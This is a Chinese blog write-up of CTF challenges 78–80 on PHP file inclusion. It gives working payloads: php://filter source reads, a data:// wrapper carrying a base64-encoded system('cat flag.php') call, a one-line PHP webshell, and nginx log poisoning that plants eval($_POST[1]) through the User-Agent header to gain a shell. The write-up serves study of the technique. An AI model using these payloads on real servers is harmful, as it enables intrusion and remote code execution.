文件包含第一天

目录

普通文件包含

常见的php伪协议大致四种

1.php://filter  主要用于读取源码
2.php://input  经常使用file_get_contents获取php://input内容
3.data://  执行命令
4.file://  访问本地文件系统

78

image-20230511171107815

观察一下,没有过滤,可以直接使用功能php://filter伪协议

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

主要是别忘了convert,用于转换编码用的,缺少会报错

也可以用data伪协议

?file=data://text/plain,

?file=data://text/plain,

然后查看源码

也可以尝试php://input

image-20230511172709456

image-20230511172739427

79

image-20230511192556368

将php替换为了??? 因此不能明文读取

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

其中

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
为base64编码的
<?php system('cat flag.php'); ?>

好像大小写也能绕过,但有点chun。

传入shell(一句话木马)

多少有点骚气在里面的

?file=data://text/plain,

post 1=phpinfo();

80

知识点:日志文件包含,伪造UA写入php代码

日志文件包含

日志文件记录了服务器收到的每一次请求的

IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号会自动进行url编码,存到日志当中时,不是一个正确的php语句,无法成功执行,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。

访问日志的位置和文件名在不同的系统上会有所差异

apache一般是/var/log/apache/access.log

apache2一般是/var/log/apache2/access.log

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

php和data都被禁用了(大小写好像还能用)

日志文件包含

nginx和apache的日志文件包含也是一个考点

这个Linux的nginx日志文件路径是/var/log/nginx/access.log,要在用文件包含漏洞读取日志文件的同时,修改ua头为我们想要执行的命令(burp中go要点两次才能执行命令,第一次将代码写入日志,第二次执行代码

且操作一定不能出问题,如果报错就要销毁容器从头再来

因为php语法错误后不再解释执行后面代码,语法错误后,后面不管语法对不对都不执行了。我们包含了日志文件,如果日志文件中我们插入了错误的php代码,那么我们再次执行对的代码时会先执行那个错误的php代码,因为报错,所以后面正确的就不会执行了。

include加载的文件都会当做PHP进行解析。如果文件中有PHP代码,就会执行PHP代码。不是PHP代码的部分就会直接输出。

Nginx的日志文件是/var/log/nginx/access.log,对服务器的请求都会记录到日志文件中去,所以构造一个有马的请求(<?php eval($_POST[1]);?>),再用file包含日志文件。所以就可以执行拿到shell了。

先添加user-agetn:

执行 url?file=/var/log/nginx/access.log&5=phpinfo();

image-20230511200336042

总体思路相当于,将这个useragent插入到了主机中的日志文件中,因此访问日志文件的时候携带1的参数,则将include包含日志的时候执行了eval(1)这个命令,导致其发生了可以读写,用蚁剑连接也可也

posted on 2023-05-24 16:38  vaneshadow  阅读(15)  评论(0)    收藏  举报